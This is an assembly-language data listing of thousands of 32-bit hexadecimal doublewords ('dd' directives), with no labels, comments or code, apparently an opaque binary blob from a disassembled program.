		dd 477A1892h, 0FC9F545Ch, 6E31E61Dh, 4D42D6F1h,	6861BF7h
		dd 0CCA3FECBh, 0A51DA777h, 492AE871h, 4C03BD9Ch, 296740CFh
		dd 9617B8E0h, 0E5292595h, 4216D42Ah, 6F41C12Dh,	88AC814h
		dd 0D33CD0Bh, 84F3A941h, 0E0557A10h, 0EA0ABC30h, 0E4292FD0h
		dd 80C72E82h, 167DA63Ch, 6B81CD85h, 50BCD85h, 6899241Dh
		dd 92264683h, 7972AE28h, 0ADA312F9h, 587AA565h,	5167FEE6h
		dd 0B112092Ch, 0F32AC2B3h, 0D0F91D26h, 0B0AF4858h, 3F71DA04h
		dd 8AE34AB3h, 7A42A50Ah, 0ECDFEAB2h, 0F1CB6BDEh, 1D2AF470h
		dd 0EB451D1Bh, 0D4585C89h, 1EF457Eh, 0D23D4505h, 3C38550h
		dd 0A03AF92Dh, 944CE10Ch, 0F3CDF111h, 312879D4h, 21EBA59Bh
		dd 546DF521h, 5A0FC975h, 762ECBB0h, 0A310EFDDh,	6E2E1894h
		dd 5A035E03h, 4DC546DFh, 94E2BC21h, 0F4842337h,	9902EA30h
		dd 858F68ADh, 4FD1F4ABh, 9858EC5h, 37C6F2FEh, 0E200FFCFh
		dd 70B6E89Eh, 692896BAh, 0E302E99Fh, 0DE02FFFFh, 0EDD9F541h
		dd 3A9913h, 76A20EFBh, 4F79CA6Bh, 1AC7C367h, 8442450Ah
		dd 0F9A72A75h, 76207FABh, 0C55AAEA8h, 7F9BB51Ch, 944D3C55h
		dd 9C198227h, 0B2F9E5F5h, 0BC097BE7h, 0DCFF4C88h, 0BDF7B3CFh
		dd 0E96F9C3Eh, 66C04C79h, 42420A49h, 0FCF79631h, 3A53E0A3h
		dd 571B06Fh, 54D0E648h,	2F6D9C71h, 0A4F8FA66h, 7432EEEAh
		dd 88AA2B4h, 0F4CDE44Ah, 53A91B4Bh, 0A97849CFh,	0F63B970Ch
		dd 25AA6E86h, 0FF67AE8Ch, 0FAFC102Bh, 159C54CDh, 2DE2A01Dh
		dd 0F04E74D7h, 42EF7B96h, 7CB41385h, 988AAA08h,	68E43846h
		dd 65F006E6h, 6C2EFC2Ah, 0CB3F4F97h, 0B9199643h, 4A48EA3Dh
		dd 2E275A14h, 92797F66h, 0CF159206h, 3F56D4C3h,	95251384h
		dd 1079D610h, 1B36E39Eh, 0B9D17B90h, 0C2168018h, 0EB35DAB3h
		dd 0F8759931h, 67DAD4DDh, 0FE9FF08Dh, 69CDA208h, 0A622E6F7h
		dd 4D95BB71h, 4A21414Eh, 0BA195F39h, 6428446Fh,	0C619DBE8h
		dd 0A622BE11h, 84109B1Ah, 0ADF2E5B2h, 0A8CBA04Dh, 2ACF7B96h
		dd 0A3EFAD14h, 0DE08A9CDh, 0F1B52A0Fh, 39854A12h, 0F34D83A1h
		dd 0EBBDBA91h, 0EABEE9D2h, 0F0DACA49h, 0E8F3C995h, 886BE976h
		dd 5C6B7C20h, 0AD21851Fh, 5CFA31C3h, 1DE441C6h,	0AE9EEADh
		dd 456A02ADh, 99CED92Dh, 0F281A53h, 0C060ACF8h,	0DCD00A35h
		dd 6F261B4Ah, 0F650DD10h, 2339FF3Ch, 0CE9EE9C0h, 0C42EB22Ch
		dd 0F5BCF2Bh, 2A3306AEh, 0F177B20Ch, 0C431461Eh, 8FF43916h
		dd 0F9057F76h, 0C35AB93Ah, 0B6E0B787h, 75B1B3E8h, 5EC94BD9h
		dd 0F360B913h, 0D389E5CDh, 8DDF2084h, 6FC2F0C5h, 0CC50ACF2h
		dd 0C65F981Dh, 432ECB94h, 462AE52Ch, 0DDA2121h,	153C42FBh
		dd 8DBE5AC6h, 0EBE08C9Dh, 0E5087C9Fh, 41B7DC7h,	0C5827005h
		dd 0F27FFBDh, 0FE53B90Bh, 42DEA78Dh, 81730C1Dh,	0E5A0B8C6h
		dd 2E2A3791h, 9B78F65Eh, 0B3F4E877h, 4B9889DFh,	0B4B296EBh
		dd 59B267DFh, 0FCFDBFCCh, 9BA3D3CDh, 7B221811h,	9108D935h
		dd 109FAFCDh, 7874907Ch, 7EF54814h, 24A3B4D4h, 233D820Bh
		dd 848E98B7h, 48709743h, 582A567Bh, 29FA1C0Dh, 80090EDDh
		dd 90533DDFh, 0B93FE4CAh, 0A32DA9DEh, 0CC3A191Dh, 49DCABCBh
		dd 43792E14h, 0AB819624h, 7C2509F4h, 0DA8BB5F9h, 84B40C6Dh
		dd 3656FBEDh, 0A035E9FCh, 0DCE7F9B1h, 958AD061h, 0CDCD94BDh
		dd 0DA8D1F84h, 0B46DAE6Dh, 0E371A4Dh, 683BAC21h, 1133BB1Fh
		dd 0FC84226Dh, 0F35E8589h, 48EC0757h, 7C16A0A5h, 0BC8C6312h
		dd 0D58A0E44h, 60EC5075h, 0F45390E1h, 75DDACBBh, 0FDBE7F5Fh
		dd 0C33FE6F7h, 13332AA2h, 0FBC8B050h, 0DB887B41h, 5D7B34E2h
		dd 0A1B01DF8h, 2C72D9E2h, 0C1721562h, 0C185C4F9h, 0EF376F90h
		dd 298E351Dh, 0ACA55CDDh, 0C2F9FFDFh, 0F9895EDDh, 8BBE141Ch
		dd 50DC1F87h, 692718E7h, 5192719h, 0FE1E45Ch, 9D9DE229h
		dd 0EB539F0Bh, 8DEDE78Fh, 4D21EC5Fh, 14EF9096h,	4A231E75h
		dd 65602E40h, 0FF1C3061h, 61A4690Ch, 1C7E27C8h,	2193ED16h
		dd 83B5FFF3h, 0BD643158h, 199CA3CBh, 8921E9AFh,	4D6E1182h
		dd 0BCF98CF6h, 0E6DF8EE2h, 2BD2AF21h, 54DB38DBh, 91CE96ADh
		dd 0F1F4BEA7h, 0C9FA9D5Ch, 0E42CFB32h, 54C8B9C8h, 0C221F90Dh
		dd 0D1E2B72Dh, 0C0CC0035h, 23AB8C3Fh, 5C98449Ah, 4B2ED110h
		dd 8DE01C48h, 4923EAA3h, 0BF14DFB8h, 0CA9C9EF3h, 0AE6A2B9Fh
		dd 45B534CDh, 0B19C1F15h, 1F5EA52Fh, 0AA348381h, 91AD5CF4h
		dd 0FFE0EE58h, 0BD821D89h, 3E5EA5EDh, 0F1E894C4h, 1916AD61h
		dd 0B234F5FCh, 0C673656Eh, 6F0874E4h, 4DB57627h, 3202B75h
		dd 24E0AB2Fh, 78A9939Ah, 9D768BDCh, 0AA6B979Fh,	0BBA0C7B3h
		dd 0BFD090DBh, 0B24DE3B5h, 0BBF4C3C9h, 0D420E821h, 0FD0A3A43h
		dd 0AD53ED73h, 563BF245h, 4CF73F5Bh, 87CA8C92h,	817CAE56h
		dd 826B08D4h, 0C3380856h, 0DDE4D427h, 0C0A670CDh, 8529C86Dh
		dd 0F6B85B36h, 9920690Fh, 0D8ABAF19h, 3209A414h, 1C21DCCDh
		dd 317D5041h, 2E2CA08Ch, 9070EE76h, 0FAFCE7A2h,	0F9C99563h
		dd 76F937C1h, 734EAE39h, 0C76DE114h, 87E007D7h,	7AE1AD19h
		dd 0BE14A197h, 0BA066F48h, 0FD1B76E0h, 2D21719Ah, 8C36E0EDh
		dd 0C9A601DEh, 54F02894h, 0F87FC615h, 129FF51Fh, 12DD726Fh
		dd 5B04031Eh, 0C6A76335h, 907B910h, 0C5DD78D8h,	0B825E9D5h
		dd 265A2902h, 0FC60DD30h
		dd 0A3DEC505h, 0A2A4780Ch, 4995DD2Bh, 0E4746C10h, 0B120ADA8h
		dd 0E27BBE80h, 85D16BCCh, 0B8E6AE35h, 0BF269F81h, 53F10B3Eh
		dd 810F14F7h, 0F6048566h, 1FCBA75Fh, 0F605CD37h, 35861C04h
		dd 68F5EE25h, 0EE2D69B6h, 21600D29h, 5F63D7E2h,	0B6F5A43Dh
		dd 1B53F52Ah, 0E61FD0F6h, 0ED479EDCh, 112C1E4Fh, 863AFB3Dh
		dd 852837BCh, 0B39F0E2h, 4CEC5AD7h, 90B4A99Eh, 5848512Ah
		dd 8EB74B1Fh, 4F25776h,	4C6BE34Dh, 91FA6C42h, 39CAA8B7h
		dd 0C7CD3FE4h, 1395336h, 845185BEh, 0FEB6C0DAh,	12314DF7h
		dd 859042D8h, 621950ACh, 0E8CAFCC3h, 0EDAF247Bh, 0D872D146h
		dd 0E2B110B5h, 8B02184Bh, 4CCD591Ch, 0F15998F5h, 6B2642C8h
		dd 4DECDF3Dh, 65EEECE1h, 0F5D4DC31h, 0FD12E90Dh, 90CAB8F5h
		dd 6A6C1A57h, 74E2CE39h, 0B5E0B923h, 8891A51Fh,	0A8030F13h
		dd 542BC8AEh, 6E3CE21Eh, 0DAF579C1h, 0EE1CC899h, 3B56F618h
		dd 6F38F455h, 0EBF3D007h, 2D592151h, 83024DF6h,	75AEE150h
		dd 0C830F45Ch, 0C5A0665Fh, 0C29400ACh, 6EF5A174h, 0CA1ACCA5h
		dd 8C1257C5h, 15E62445h, 8791D4A1h, 0A9DB4477h,	0B88F54EFh
		dd 82070AD1h, 0E45D4B77h, 1161586Dh, 78F13C9Ah,	433C4267h
		dd 260E4312h, 51FD2B95h, 0CFD3843h, 0B80FBD25h,	1DE17402h
		dd 0EB6E2EE3h, 99F7D4E9h, 1B8ACCBAh, 2371F128h,	0A830921Dh
		dd 7E80C1C1h, 0A5218CFCh, 145CE2CCh, 0BCBD7D5Bh, 26E0A238h
		dd 0D7286A14h, 8199E04Bh, 2BAE34D5h, 8959EE41h,	4B229CDBh
		dd 0C4DAC94Ah, 0E92ED8EDh, 4BFD33E2h, 8B21C0C5h, 0F496D492h
		dd 5121CCA7h, 0FE0EBE4Fh, 0B7310FA0h, 4F62B8F6h, 0E5ED6C16h
		dd 0B479EA59h, 55B24314h, 25FDAA94h, 0F65DE44Fh, 0AD77CDD8h
		dd 9ED2F352h, 0EE792035h, 0F2F505C6h, 0FCCDF109h, 53C9B43h
		dd 0C75DE448h, 0BF9EE8C3h, 9E97A9E6h, 0BA76FDDBh, 8D9C4CB1h
		dd 0C55920DFh, 85DD5CD1h, 65EEBF41h, 6A1CA925h,	49B6B51Ch
		dd 0A9F060EDh, 8FFAE88Dh, 81C6EFE5h, 0A9168089h, 0CE31E889h
		dd 522AE885h, 2718ECCFh, 6A5A9855h, 0CE2A1616h,	0D21E9849h
		dd 0E9A6CEDFh, 0E9A2BE7Dh, 0E9AEBE6Dh, 0E9AABE51h, 0E9B6BE49h
		dd 0E9B2BE41h, 0E9BEBEB9h, 44CAB9B5h, 448698A1h, 44829899h
		dd 448E988Dh, 448A98F9h, 449698F5h, 449298EDh, 119E98D9h
		dd 8F9AFE4Bh, 8F66FEC1h, 2262FF3Dh, 0FDD82D25h,	0C1D82925h
		dd 49A63525h, 0DE3F30EFh, 0FB7EF7DCh, 0FB7ACF71h, 0FB46CF6Dh
		dd 71D9FE65h, 0B219B25Bh, 2E2A1C4Ah, 68052BC0h,	512EC276h
		dd 7EE7E99Dh, 47235542h, 321E9C54h, 6836ADD6h, 0AEEDC091h
		dd 0EA5DDDC9h, 5AE706C1h, 0C841B1D4h, 57696D2Ah, 0A94AB609h
		dd 89D0726h, 7FD6C947h,	0BEEC62DDh, 0E4E84AC2h,	2E32B680h
		dd 0E3DCF710h, 0AA0A5FBCh, 9AFD491Fh, 0EB09E4BFh, 0E8870590h
		dd 3378A0C4h, 0F67CFED3h, 725EDA96h, 58C50F4Bh,	432A076Ch
		dd 8FE0C444h, 497AD5C6h, 0F23E8E67h, 0FED0AE3Ch, 0C36638C5h
		dd 5086FD5Eh, 0FECE873Ch, 448EF017h, 0BE479BD2h, 66D8631Bh
		dd 0BE7135Bh, 25A2934Bh, 893DD5A3h, 6508FEF2h, 1E06F7EBh
		dd 0BBCD9CADh, 0F0CFEB75h, 4B96C2E7h, 9A2DDFABh, 0C6326CF5h
		dd 0C5D81D7Bh, 75DBC3F1h, 2DDE1879h, 0F4531895h, 6F5DC50Eh
		dd 0EDC09B26h, 2E51E41Ch, 0C1381A48h, 8CA0932Fh, 0B08FFA08h
		dd 0F5CF6ADCh, 1E1100A9h, 6BD30DB6h, 0C72192D4h, 14E6308Fh
		dd 0ADEDF89Ah, 0E0057EE4h, 517B1BB5h, 0F1A1B1A7h, 14A245D6h
		dd 166A6AD0h, 8757D137h, 3CC16307h, 2840D3F7h, 288DE48h
		dd 93352D4Dh, 0BB26DB49h, 4D03BDB3h, 0C023EB0Ah, 0AEF4A396h
		dd 0B0F218D8h, 0CA499D01h, 9B2B890Fh, 5A4BBA4Dh, 2C7E290Eh
		dd 3C610669h, 0ACD31F04h, 0D9DCE673h, 43EEC31Ch, 77DF101Bh
		dd 26D3F62Eh, 7BCFB094h, 0C5795025h, 7E7F9FFEh,	0B5E6CAEh
		dd 22902865h, 6224E0F1h, 0CC586501h, 0B16109E6h, 754CC1D5h
		dd 0E1F07B80h, 0E2C122AEh, 0B5C48DDh, 262BB1A2h, 961D65AAh
		dd 483744FBh, 69C784A5h, 317971Eh, 5BFD293Fh, 99689304h
		dd 0FB78EA05h, 45D856C5h, 2BBEC12Ah, 0F3F9B6Dh,	7EF14A07h
		dd 849AF348h, 9277183Eh, 53CDA97Eh, 0C868C84Dh,	2E261BCFh
		dd 264D1C6Bh, 722A6EF3h, 0C7DEFDB4h, 0F774420Bh, 0BB0CE786h
		dd 0F5A9BCDAh, 4E9A19D6h, 0C8697BA5h, 2A36AC42h, 96543FE5h
		dd 0C5A6CFEFh, 5E9E1E9Fh, 8E37AD7Dh, 5C5FA26Ch,	0ED060F95h
		dd 0C52104F5h, 593666C3h, 7C980733h, 0ACB0B323h, 0AE18DC9Dh
		dd 8ABAD07h, 0B8CBFF36h, 244E6559h, 0A4E55896h,	967AE00Fh
		dd 882F6D10h, 0EC33FEFEh, 381715C6h, 0DFD9E1F1h, 5A14987Bh
		dd 798117A0h, 0A5D92599h, 4EAF2D1h, 7E30A6B6h, 28529842h
		dd 8420ACE4h, 2E5EF645h, 0EEA5B1C9h, 0D8E2EB83h, 0C95A898Bh
		dd 9238075h, 8D8ABA4Bh,	0C5507837h, 77FDACCAh, 0A221FEA5h
		dd 0D4416999h, 523A029Ah, 6A5F0652h, 64CDDE07h,	86261FE9h
		dd 34B61CCFh, 76E05DC2h, 0CF905712h, 0C05C5175h, 9E0C8139h
		dd 2E2B1946h, 574C1BA9h, 0D05ABCCDh, 0DF5CA556h, 4CC69EE0h
		dd 78E6CCBh, 0A2C3BE7h,	39C14EBBh, 99B229Eh, 0B0091D2Ch
		dd 4C048BD9h, 0D4D7E05Eh, 0F13E49Fh, 8A6EA091h,	79FD7E67h
		dd 942DDF1Ah, 9A237E51h, 5467ADDEh, 0C94D3914h,	0CDDAE12h
		dd 9952E417h, 0F2389BCFh, 227AE615h, 5FC6BD10h,	14F309D5h
		dd 522E72E8h, 79D81D4Ch, 4E938088h, 0D0FD314Ah,	0C35F262Ch
		dd 905EAB48h, 0C40DA444h, 4A131CC6h, 0F57AE417h, 9E13BC47h
		dd 0E47AFE13h, 0D7F8D851h, 9A974300h, 0F41CB7ADh, 0E182147h
		dd 0C25DB700h, 781F3B12h, 8494FF56h, 4C25E92Ch,	0FA244FDAh
		dd 0E05E730Ch, 0A567316Fh, 2E2388BAh, 32B71D7Dh, 787AE06Dh
		dd 64B54411h, 0BC5322D5h, 0C5A7E6A1h, 537E1243h, 651C32DEh
		dd 482512A7h, 0B9D91FCFh, 0EAEF4B9Ch, 4022C5C8h, 0CC98CCD4h
		dd 0CB4C391Ch, 0FBD241A3h, 5B5EF52Eh, 7E0CB736h, 0A1E0FA69h
		dd 0D03033A3h, 0D79B2000h, 267D13CFh, 0FB86F0D4h, 0FA030CF9h
		dd 0F9A278DDh, 86580969h, 9E395820h, 0A27AEE22h, 82E8A58Ah
		dd 0E66380F8h, 826F0431h, 0A306A03h, 73267BF3h,	47FEBECDh
		dd 271A1800h, 3D02D954h, 84EEA0F1h, 49A26ECDh, 0E3FC3918h
		dd 4AD4A32Fh, 16DCA8F5h, 3D26164Ah, 542B4B59h, 0A8452C52h
		dd 0EB0DE606h, 99A7C6DAh, 4D84F812h, 0CC719D0Ah, 6A2D4383h
		dd 0A2D3D4ACh, 38E7164Dh, 0B9A1465Ch, 0D607AC19h, 0BF92CD5Eh
		dd 57609BDAh, 0F533E9D2h, 0F1BCB070h, 2D42B70Eh, 0DA45E225h
		dd 962530ABh, 0B3D55EC6h, 7FBF4374h, 96FDBBB6h,	0C58AE75Dh
		dd 0C83A7F2Dh, 8F702CE9h, 0B95FE825h, 59EBD8DBh, 0C10A7A3Bh
		dd 67323284h, 0F53126E3h, 0E5535DE3h, 0FADAB8B0h, 0CA1E241h
		dd 0DC6BE9E6h, 0E9188105h, 0EFFD1D6Dh, 0C6BAF745h, 0D51D9D27h
		dd 9259FD3Dh, 0AD99CDCCh, 9966D68Ah, 0D6FCB71Dh, 0B32A282Bh
		dd 652B5419h, 0A3EC6C96h, 0C03CF244h, 0E067F45Dh, 0C61D3E73h
		dd 6D8E6411h, 6AB7A26Ch, 9ED2A268h, 8282B8D5h, 8A2F7ED0h
		dd 0F4DD5B26h, 89847CC0h, 0E1633F51h, 89DB29C1h, 9BA290B5h
		dd 7C26F2C0h, 0CB2B7388h, 0DBFAE8C3h, 4DEDF4D3h, 0C1EDC018h
		dd 0B0D8AEC5h, 4395B613h, 0C90C8EF9h, 0CFC78C0Fh, 3056B894h
		dd 48D42FA2h, 245F6A75h, 7542A23Fh, 547E702Ch, 22E2C470h
		dd 0C3907412h, 0DCA7AACCh, 7E7F0759h, 5974FC9Bh, 0BA30A31Ch
		dd 8CF5308Ch, 0B818D8C7h
		dd 362A79Fh, 2534783Ch,	75E462E7h, 842E2E06h, 638C207Ah
		dd 419F306Ah, 2C0D1304h, 433117Ah, 4B812677h, 9E5411D7h
		dd 0D053926Ch, 0D36FF227h, 36DAD96Eh, 37047D7Dh, 0CB591145h
		dd 2BFD280Bh, 43023A38h, 5E1283DAh, 0D11B12A4h,	2A53E992h
		dd 2DCBF666h, 0B2F5BA6Eh, 0D89588ADh, 0FBB913CFh, 7A461BCEh
		dd 95558674h, 0DFE61877h, 0DEB53100h, 0BFB013DCh, 970D1205h
		dd 499F0D7Ch, 0BD31BBCh, 99540CA9h, 0B051E12Eh,	3DA435FDh
		dd 0D11B0A1Fh, 0BF517AA1h, 0D14D6F95h, 0BF4FAD2Ch, 0D04E4E1Dh
		dd 0B460C407h, 0C61A2C2Ah, 8B51C205h, 0D0C7F403h, 0D8983DECh
		dd 16EDCD01h, 0D6E5B995h, 0D01C223Dh, 0DE9554ECh, 0DAC35E4Bh
		dd 81C2EC00h, 5DA212CAh, 746C1375h, 0DBC75FADh,	8FB1E400h
		dd 0D3B69C03h, 0AA532CEAh, 52FE5C8Eh, 0D469BF49h, 8531CA6Bh
		dd 0DD1EBD7Fh, 74358861h, 65EE93BCh, 0DD259C02h, 105AC500h
		dd 0CF61130Ch, 0E55DD06h, 0B6790861h, 4B7AFC6Dh, 755D903h
		dd 0A5F1F35Fh, 0C77E13DAh, 0D04D8CBDh, 8211492h, 7B431379h
		dd 8809B0C5h, 263DEF05h, 0FD41D2ACh, 9142DB12h,	8FD5DB0Ah
		dd 2628F272h, 26DABF2Eh, 0DB69FE1Bh, 0D056876Ch, 24E94517h
		dd 0DE197216h, 0DC582000h, 253B1890h, 2E32DFF8h, 0FA90E67Fh
		dd 0CE2A1372h, 0CDCA0266h, 2B520ABBh, 3C340AC2h, 0B4812F82h
		dd 0C3540A20h, 658F5569h, 0F5590ACh, 2445861Dh,	0D7531911h
		dd 0DA487725h, 0D1C90911h, 0DCDAC793h, 0FB7CED27h, 5E5896F2h
		dd 6A75FC2Fh, 3945B4BDh, 0DBD66A35h, 0D8B8D48Bh, 0D05915CAh
		dd 4DCA1305h, 6E6CAA85h, 0D29618EDh, 286C79DAh,	7920B4CDh
		dd 77571376h, 0D9AD408Dh, 0C179C00h, 3D325D7Eh,	67B33F76h
		dd 0D16DDC1h, 71EE6285h, 0E38BF027h, 44A6893Eh,	6E3FD95Dh
		dd 4149E6E5h, 0D656B32Eh, 504BC315h, 0BEED7915h, 3E497E95h
		dd 0F0419F6Fh, 6B9D5055h, 0DF965389h, 0DD820F5Dh, 636CF0E6h
		dd 0D078108Ch, 35924C16h, 0A1DC59BDh, 0FCD2EC90h, 9EE8DA75h
		dd 495DF294h, 93586677h, 0FDBDBAF9h, 0EBFD60D5h, 51AA027Dh
		dd 25AC2E6Fh, 0E61D93D4h, 45F77FE4h, 38DDEB94h,	0C4A29574h
		dd 0B28604BFh, 2D9EF4B1h, 1ABE6BF3h, 0F5ED4CCDh, 9653FC6Bh
		dd 84E28DAAh, 0F97EC911h, 0CAD5CB75h, 4CF3EBCAh, 2DB07CCBh
		dd 6D714432h, 137ACB7Ch, 0D5BF1267h, 0D141AF53h, 0DD9BA675h
		dd 2E21147Dh, 265E0514h, 462B0CD2h, 52684B7Ch, 56881027h
		dd 56BA6E13h, 0D14A1CD0h, 0F858A8D6h, 9C93137Dh, 63205E8Ah
		dd 2E164F2Ch, 5B972E7Ch, 1ED9DA78h, 844A4CE0h, 584B6E4Ch
		dd 0C5C89D01h, 963EACE2h, 2E0EAF31h, 42977ACCh,	0D5108EE9h
		dd 55BBA938h, 60C9A87h,	0A55518E7h, 0D0460D4Fh,	0D2C19221h
		dd 87BCE225h, 0CA81E2EBh, 61B131C2h, 2641E689h,	0CE508FDDh
		dd 7FA59915h, 8362BCC1h, 6ABF0005h, 0F51CA0A1h,	0A22D6CE8h
		dd 7DDEDCADh, 85B1AE24h, 1E101D55h, 7BA4FE70h, 0BAEE0DA3h
		dd 2E619CDDh, 0B556B736h, 851DDC55h, 4A5EA0C1h,	0F4D1B8C9h
		dd 0B820504Bh, 0F59E1D95h, 0B139903Fh, 73A3DBAh, 0F99212FDh
		dd 0DC9F03Dh, 0C572B256h, 24812A0Ah, 32C33ADh, 0C7F3A974h
		dd 0EE3C9347h, 3FA38CFh, 0C679ABF9h, 1C69ABFDh,	95DEF898h
		dd 0AA711D82h, 0EA5ECF96h, 0F0DAA783h, 43320F0Ah, 0DDE15BD6h
		dd 0FFF27179h, 5FAEED1h, 0D1E45DBh, 8C3E3937h, 215554E7h
		dd 0D046FF89h, 0CDA1AB28h, 0BE8F1DE3h, 63EF6C05h, 0EEF90CC1h
		dd 4ECAA45h, 187DEBE5h,	0E47804AFh, 0F500C393h,	3993889h
		dd 2F6071BDh, 262A0991h, 80DF80C0h, 89979798h, 2BC8BF21h
		dd 0F81C8951h, 0C47F74DCh, 0F4B3390Ch, 57C68245h, 3DA7F825h
		dd 0BCFD442Dh, 92764AEDh, 98A6E106h, 0D2BB1AC8h, 0BBEA132Dh
		dd 3AA2A9F5h, 251FA0C4h, 0F25905BCh, 435F6595h,	2D675891h
		dd 0F4BCFEDAh, 0ACCC6236h, 3E0EDC9Fh, 0FBBE7A7Dh, 0EC5AC183h
		dd 49483CFDh, 0DA6346EBh, 4BEBB657h, 0D40D3825h, 630F8D1h
		dd 24C06B6Ah, 0BFEAB86Ch, 81A7EC6h, 0ED153D70h,	45D2E774h
		dd 2EB09D3Bh, 3A8745EFh, 8742C223h, 2D888C98h, 2F0C6594h
		dd 3DE7AC6Bh, 0EC1D84B8h, 0CC470A42h, 0F779D875h, 0C551DF3Fh
		dd 0FDCF06F1h, 0B69F1D5Ah, 32920CC0h, 7723E400h, 9DAFEDF3h
		dd 0CC7E92CFh, 7C5F4D02h, 0ADEFFFAFh, 0F274B539h, 92822C5Fh
		dd 23D618ABh, 0EF0C8200h, 2F4D3DB5h, 57F121EAh,	817D149Fh
		dd 0D713A658h, 56135E96h, 6DD29CFDh, 2E08363Eh,	0DB0ADABh
		dd 2C98DF17h, 56A80A27h, 42EA6681h, 2A607505h, 0F5B11F4Bh
		dd 4DAF66D9h, 1A0170E1h, 758AF7F9h, 0E8CAC810h,	9D38F15h
		dd 8DA719A6h, 92929DC1h, 21959958h, 7488C3A9h, 79A66F71h
		dd 0B21AB8C6h, 0BB6C1188h, 88EA24C6h, 0FD39523Dh, 0C2A51996h
		dd 3E5E36DAh, 274AF65h,	0E72AAE3Fh, 69C1BB5Dh, 4B3EE221h
		dd 8A59ABD6h, 15D01762h, 0EDFCCCAh, 0F42F245Fh,	0BAA918E1h
		dd 0CE5968FCh, 0DBB16088h, 0BBB9F2A9h, 9140D736h, 9B088CC1h
		dd 5C1968DAh, 16F6FFA8h, 0B5B91968h, 717C1956h,	23216F29h
		dd 0AEA1BAEh, 4270751Dh, 97191409h, 0D2B31999h,	0CEA15F34h
		dd 0DBE4AA27h, 8720F4CBh, 0CBEBD46Ah, 41CF8E89h, 0E38E25FBh
		dd 89DD6794h, 6DB50202h, 0ACA63929h, 0A5B6D06Fh, 0CC001ECFh
		dd 4BEF5396h, 61D86C49h, 0C04393Ch, 8AB073C8h, 8D40B51Dh
		dd 0B8EED11Bh, 0D71FEA2h, 8BDA726Bh, 2E46EC09h,	0F0194ECCh
		dd 45A7EE74h, 999DD61Eh, 9578E7FEh, 4B210616h, 582ED405h
		dd 70285A16h, 20BB8045h, 0ABD81C9Dh, 0CE5D8FEBh, 5E49B8Bh
		dd 0FB707F7Ch, 1E2E7F91h, 3EDDE7EDh, 9A5B8A55h,	7733642Eh
		dd 7432B0DCh, 0C2972960h, 798E1CECh, 0C4355410h, 94EC1D76h
		dd 8A7E6981h, 875B5868h, 55F21227h, 436AA3BDh, 0CC9F3D1Ch
		dd 0F1CDE9C7h, 0B2D0E2Ah, 0F3081FDCh, 0A07932DAh, 162F5955h
		dd 0C98F6EB7h, 3D9FA413h, 0C5377AF7h, 17A019A1h, 8D59691Bh
		dd 40D6FB6Dh, 797DE81Fh, 0A602DB5Ch, 11F3A48h, 0E63667DDh
		dd 8E9E89D3h, 7189F176h, 60A69819h, 8D5D634Eh, 42D21B22h
		dd 0C919B59h, 0E968F699h, 29A865B7h, 8CF20433h,	2AF4EFECh
		dd 0B842B911h, 0F2E607CBh, 0C97D2AB5h, 8DE01B55h, 4FCB4226h
		dd 0B882B2Ah, 0A62419ADh, 0D070D78Fh, 0DDEA501Fh, 0B5D8D02Fh
		dd 0E2D541A4h, 42C5779Fh, 3F319D08h, 0F5593C69h, 552B3B06h
		dd 0BCF8CD2Ah, 4126BC50h, 0FBE4E49Bh, 0A6D8D297h, 5DE7639Ch
		dd 0CE59B78Ah, 9D7DA6BEh, 86DE1876h, 9F925C7Ah,	14B9EAC8h
		dd 97AE0FDh, 2CE35B62h,	2175FF32h, 53A839B1h, 66303FD7h
		dd 4478B8D0h, 912A871Dh, 0C47EB92Eh, 0C60467E7h, 4970D32Dh
		dd 7F0C58C8h, 44223EF3h, 0B2B48F07h, 4E88C463h,	2AC714FAh
		dd 0E8A5E410h, 0F45D7F32h, 0D11D2DC9h, 0A1FF4C7Fh, 56764703h
		dd 0F25E897Fh, 436367Ah, 2BD11F8Ch, 53971F4Ch, 62575F28h
		dd 85E7FDFBh, 269BC7B6h, 30096234h, 4FCCE4EBh, 177ACB43h
		dd 0BDB86E8Ch, 0CD84A0BCh, 0F3B6E930h, 0DE4AF6DCh, 7F363229h
		dd 5A22C0CBh, 86E1A3F7h, 0CDC33CD6h, 7D77CF29h,	0AF369311h
		dd 29E07425h, 0FE0F4C4h, 0D6298918h, 10225D03h,	0FB63D556h
		dd 0AF9A3C81h, 1A21A35h, 9625E5DEh, 0F8EF660Ch,	83A2D85Fh
		dd 0C9824E39h, 3B62654Bh, 8306D0CAh, 4CE262F5h,	2D9F53B5h
		dd 39E53D2Ah, 55FADD1Eh, 8DC566B7h, 7A84B4F1h, 82EFE77h
		dd 0AADBF680h, 1D1A2BEDh
		dd 65CD1BF8h, 2FAD512Fh, 76D77630h, 0CD6D11DFh,	4D2144DCh
		dd 1A4BD4BCh, 5DA5FADDh, 0B112BC5Dh, 0AE5F6ABFh, 85FAAF5Dh
		dd 0FA63D0EDh, 46717275h, 2A539BE6h, 9A51DB9h, 2A5C589Bh
		dd 98EA01Dh, 0FA8A3DD4h, 22D9C0B6h, 7FE6B56Eh, 0AA910329h
		dd 5C8A16BAh, 5F22D1D8h, 0E9531FAEh, 0F58F746Ch, 0CDDAE1Fh
		dd 1CE76E05h, 792390A2h, 0BC60384Eh, 0BB0ADB60h, 97DD5F50h
		dd 0E6574E6Ch, 0F9C36F4Fh, 79F61339h, 0C4527C52h, 4D11ED35h
		dd 0FE576A15h, 12C14517h, 6273ED32h, 7BD92D2Dh,	67655609h
		dd 0C2E1BD15h, 7875431Dh, 62E2A62Dh, 0ED9304E8h, 0CA79E574h
		dd 0CD0BFC17h, 0C5815BF8h, 74063811h, 6E158B4Bh, 9A17AD07h
		dd 2193E945h, 85667D26h, 0D54945B9h, 81B1A1B7h,	174D1C5Dh
		dd 0E44FF997h, 0C5AD099h, 0B010EA94h, 25C2134Eh, 0FB9CAFF6h
		dd 0BE525DDEh, 0A2721656h, 0B1E3D905h, 4B3623B2h, 0DCDFE51Eh
		dd 0CE23C112h, 0CFCCED14h, 4B8AB1E2h, 59124E9Bh, 36580EB7h
		dd 0F19B4403h, 0F16A6C19h, 0E228479Bh, 0A86D4E37h, 0D4B8E8E3h
		dd 3F531B30h, 9CF87694h, 0A26F5BCh, 0F343E4D5h,	0D43C1CE2h
		dd 95F73F1Fh, 153BE090h, 349EA56Dh, 0FA975A0Eh,	0EBB25EB4h
		dd 0B6F4F914h, 8A65DE5Fh, 0A648A68Ah, 8B31590Dh, 0C0E751DAh
		dd 83CE4370h, 0F99B5F0Fh, 0C4257200h, 230FB216h, 0B69E7965h
		dd 30E87896h, 0A9DD2C72h, 84BF52DCh, 7F4BF496h,	0F6FCBC48h
		dd 0C0BF421Bh, 0A049AB30h, 0B278B2F4h, 0D50E981Fh, 5A823672h
